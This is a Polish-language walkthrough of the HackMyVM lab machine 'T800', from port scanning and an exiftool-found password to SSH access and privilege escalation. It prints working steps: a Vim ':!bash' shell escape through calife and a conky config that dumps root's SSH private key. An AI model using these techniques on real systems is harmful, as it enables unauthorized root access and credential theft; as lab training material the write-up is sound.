T800 by Sml
Write-up is in Polish language.
00. Metainfo
Nazwa: | T800 |
Autor: | Sml |
Wypuszczony: | 2021-04-08 |
Do ściągnięcia: | HackMyVM |
Poziom: | Łatwy |
System: | Linux |
Nauczysz się: | Fuzzing, Stenografia, Bóle głowy |
01. Wstęp
T800 jest dosyć zabawną maszyną, z której się do nas cieszy sam Richard Stallman. Jest z nim parę śmiesznych fotek, ale potem się zapomina i następują bóle głowy, kiedy wzrasta poziom trudności. O nie, to nie jest prosta maszyna, chociaż na początku wszystko idzie łatwo, ale czym dalej w maszynę tym gorzej Zwłaszcza ostatni etap mi się śnił w nocy, jak koszmar Oczywiście po wszystkim, możesz uznać maszynę za łatwą i przejść ją w paręnaście minut. Jednak nie polecam jej dla osób, które zaczynają zabawę z podatnymi maszynami. Może to was zniechęcić. Wracając do tematu, na szczęście migue27au mnie naprowadził na ślad, jak przejść. Więc jeżeli chcesz mieć prawdziwą zagwozdkę i nie korzystałeś z pewnego programu (o nim na końcu), to końcówkę spróbuj sam rozwiązać.
02. Standardowe sprawdzanie
Odpalamy Metasploita, w nim db_nmap i lecimy:
msf6 > db_nmap -T4 -A -p- 172.16.1.107
[*] Nmap: Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-12 20:18 CEST
[*] Nmap: Nmap scan report for t800.lan (172.16.1.107)
[*] Nmap: Host is up (0.00041s latency).
[*] Nmap: Not shown: 65533 closed ports
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 80/tcp open http nginx 1.14.2
[*] Nmap: |_http-server-header: nginx/1.14.2
[*] Nmap: |_http-title: Site doesn't have a title (text/html).
[*] Nmap: 800/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: | 2048 b6:be:5a:0b:ec:0b:53:69:b6:7b:54:46:7d:40:56:75 (RSA)
[*] Nmap: | 256 a3:3c:a5:67:ba:42:94:04:49:47:24:30:63:91:ef:c3 (ECDSA)
[*] Nmap: |_ 256 b2:75:86:d8:45:99:9a:9d:89:10:41:9a:d0:03:6c:a8 (ED25519)
[*] Nmap: MAC Address: 7E:DF:35:0C:72:5F (Unknown)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 4.X|5.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
[*] Nmap: OS details: Linux 4.15 - 5.6
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: TRACEROUTE
[*] Nmap: HOP RTT ADDRESS
[*] Nmap: 1 0.41 ms t800.lan (172.16.1.107)
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 10.29 seconds
msf6 > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
172.16.1.107 80 tcp http open nginx 1.14.2
172.16.1.107 800 tcp ssh open OpenSSH 7.9p1 Debian 10+deb10u2 protocol 2.0
#============================
Widzimy dwa otwarte porty. Jeden to WWW, drugi SSH. Zacznijmy standardowo od WWW.
03. WWW i skanowanie
W źródle strony na samym dole jest ciekawa rzecz. Zapiszmy to, przyda się później:
view-source:http://172.16.1.107/
Przechodząc dalej chcę wspomnieć, że plik robots.txt jest tak popularny, że nawet bez skanowania odruchowo go sprawdzam, czy jest na serwerze. Tym razem mamy w nim tylko jeden wpis.
http://172.16.1.107/robots.txt
/sexy/*.jpeg
To nas naprowadza na ślad, żeby skanować katalog /sexy/, a w nim szukać obrazków z rozszerzeniem .jpeg
# root@kali:/home/szikers# feroxbuster -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://172.16.1.107/sexy/ -x jpeg
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.3.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://172.16.1.107/sexy/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.3.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💲 Extensions │ [jpeg]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200 44l 249w 11863c http://172.16.1.107/sexy/nudeslut.jpeg
[####################] - 31s 441090/441090 0s found:1 errors:0
[####################] - 31s 441090/441090 14063/s http://172.16.1.107/sexy/
root@kali:/home/szikers#
Feroxbuster znalazłem, kiedy szukałem czegoś do skanowania IPv6, miał to być program tylko na chwilę, ale tak mi się spodobał, że został na dłużej. Z jego zalet można wymienić przerwanie skanowania niepotrzebnych katalogów, wyświetla całe linki i ma fajne ikonki . Feroxbuster znalazł jeden plik nudeslut.jpeg. Na nim jest Richard Stallman w ciekawej pozie :)
04. Stenografia
Obrazek możemy go sprawdzić ExifToolem. W komentarzu mamy hasło: passwd:chmodxheart
. Pamiętacie, jak wspomniałem na początku, żeby zanotować informację z komentarza. Tam było <!-- Im ruut-->
. Mamy już użytkownika i hasło. Wejdźmy na konsolę.
# root@kali:/home/szikers/t800/sexy# exiftool nudeslut.jpeg
ExifTool Version Number : 12.30
File Name : nudeslut.jpeg
Directory : .
File Size : 12 KiB
File Modification Date/Time : 2021:04:08 14:22:09+02:00
File Access Date/Time : 2021:10:12 20:37:32+02:00
File Inode Change Date/Time : 2021:10:12 20:36:41+02:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Comment : passwd:chmodxheart
Image Width : 275
Image Height : 183
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 275x183
Megapixels : 0.050
05. SSH i zbliżający się ból głowy
# root@kali:/home/szikers/t800# ssh -p 800 ruut@172.16.1.107
ruut@172.16.1.107's password:
Linux t800 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Oct 13 08:16:39 2021 from 172.16.1.10
ruut@t800:~$
Jesteśmy na Konsoli, Sprawdźmy czy jakieś pliki mają ustawienie SUIDa.
# ruut@t800:~$ find / -perm -04000 2>/dev/null
/usr/bin/conky
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/calife
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/umount
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
Z niestandardowych plików widzimy /usr/bin/conky i /usr/bin/calife
Calife
Nie znałem wcześniej tego programu, ale przeczytawszy w Internecie dowiedziałem się, że jest to jakby zamiennik Sudo.
# ruut@t800:~$ /usr/bin/calife root
Calife failed. Sorry, trying to run su.
Password:
su: Authentication failure
# ruut@t800:~$ /usr/bin/calife superruut
Password:
Spróbujmy użyć Calife. Wszystkich użytkowników oczywiście mamy podanych w /etc/hosts. W powyższym wycinku widać, że użytkownik root nie jest dodany do Calife. Za to superruut jest. Wpisując to samo hasło co do ruuta pokazuje się nam ekran Vim.
~
~
~
~
~
~
~
~
~
~
~ VIM - Vi IMproved
~
~ version 8.1.1401
~ by Bram Moolenaar et al.
~ Modified by team+vim@tracker.debian.org
~ Vim is open source and freely distributable
~
~ Sponsor Vim development!
~ type :help sponsor<Enter> for information
~
~ type :q<Enter> to exit
~ type :help<Enter> or <F1> for on-line help
~ type :help version8<Enter> for version info
~
~ Running in Vi compatible mode
~ type
:set nocp<Enter> for Vim defaults
~ type :help cp-default<Enter> for info on this
~
~
~
~
~
~
~
~
~
~
Znając pewną sztuczkę, możemy uruchomić Basha pod Vimem.
:!bash
# ruut@t800:~$ /usr/bin/calife superruut
Password:
# superruut@t800:~$
Jesteśmy na koncie superrut.
Conky i nadchodzi koszmar
Conky(Cokyego?) też wcześniej nie znałem. Znają go głównie miłośnicy Linuxowego GUI. Ja pod Linuxem siedzę głównie pod konsolą. W Desktopie to u mnie rządzi Windows. A co do koszmaru, to problem był taki, że Conky to jest program przeznaczony głównie pod Gnome, KDE itd… A okazało się, że trzeba odpalić go w konsoli. Program odmawiał posłuszeństwa. Dostawałem komunikat: can't open display
. O dziwo w Internecie też było ciężko znaleźć przykłady. Straciłem tyle godzin na to (ale się cieszę). Oczywiście po fakcie to jest proste, gdyż na szczęście wspomniany wcześniej Migue27au mnie naprowadził. A trzeba odpowiednio zmodyfikować plik conky.conf. Również na stronie też można trochę informacji znaleźć. Po próbach i błędach wystarczy w konfigu wpisać takie coś:
conky.conf
conky.config = {
out_to_console = true,
out_to_x = false,
}
conky.text = [[
${tail /root/.ssh/id_rsa 30}
]]
Teraz należy uruchomic Conky. Pamiętaj o parametrze -c.
# conky -c /tmp/conky.conf
Pokazuje się nam klucz id_rsa, kopiujemy go przez Vim. Nano się tutaj zepsuł ;)
06. Koniec koszmaru i jest flaga
Ogólnie maszynka jest bardzo ciekawa i warto ją poznać. O tym koszmarze to pisałem w pozytywnym znaczeniu
# chmod 600 id_rsa
# ssh -i id_rsa root@localhost -p 800
Jeżeli podobał się wpis, znalazłeś jakiś błąd napisz mejla na kerszi@protonmail.com.
Zostaw komentarz